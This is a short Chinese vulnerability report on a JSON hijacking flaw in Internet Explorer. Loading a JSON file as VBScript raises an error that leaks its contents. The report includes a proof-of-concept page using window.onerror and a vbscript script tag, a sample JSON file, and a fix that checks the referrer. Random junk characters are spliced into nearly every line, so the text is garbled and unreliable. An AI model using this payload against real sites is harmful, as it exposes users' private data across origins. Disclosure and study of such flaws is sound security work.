简要描述:# D0 T5 \* L5 B! k- Z; D) ~
" l, N" ]2 F7 k/ c8 P6 k由于某些资源容器对数据处理不当导致json劫持漏洞.8 J: q" o; t. m3 l9 P1 L+ Z
详细说明:4 u$ g, E, G' ~( {; y* a, F0 n
由于ie支持vbscript,所以script元素可以指定成vbscript语言:/ p7 F7 g3 K9 k, U3 _- J, g" N5 s' P: Q
<script language=vbscript></script>, a$ m# P+ a# {* s
. s8 x V# v$ y- [4 {- B当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
: |, g7 t) A- e" m, v/ i* t漏洞证明:5 ^5 y# J2 x* Y5 V; n
<script>
8 S+ p, Q% A* S1 X$ j0 `( ewindow.onerror=function(_){
+ U% n+ A8 W1 _/ }! malert(_)+ B' e9 `$ I1 A0 L; J. u
}
2 }" Y9 Z& d* e& w' y9 D</script>
8 P/ {' h# S+ f2 Z<script language=vbscript src=1.json></script>
. P+ j e0 D) M& m2 M ^ 0 N. P1 x9 C+ v
, v% m0 r7 t5 P+ z$ {" \) h$ l1.json:
6 Q1 J6 j, O: L! n6 @[{"name":"sogili","age":19}]! ?# U+ Z9 S" i
修复方案:
! l/ I; y8 g& u/ C$ B w% z网站业务对于这个问题可以通过验证referrer是否为同源来防御 |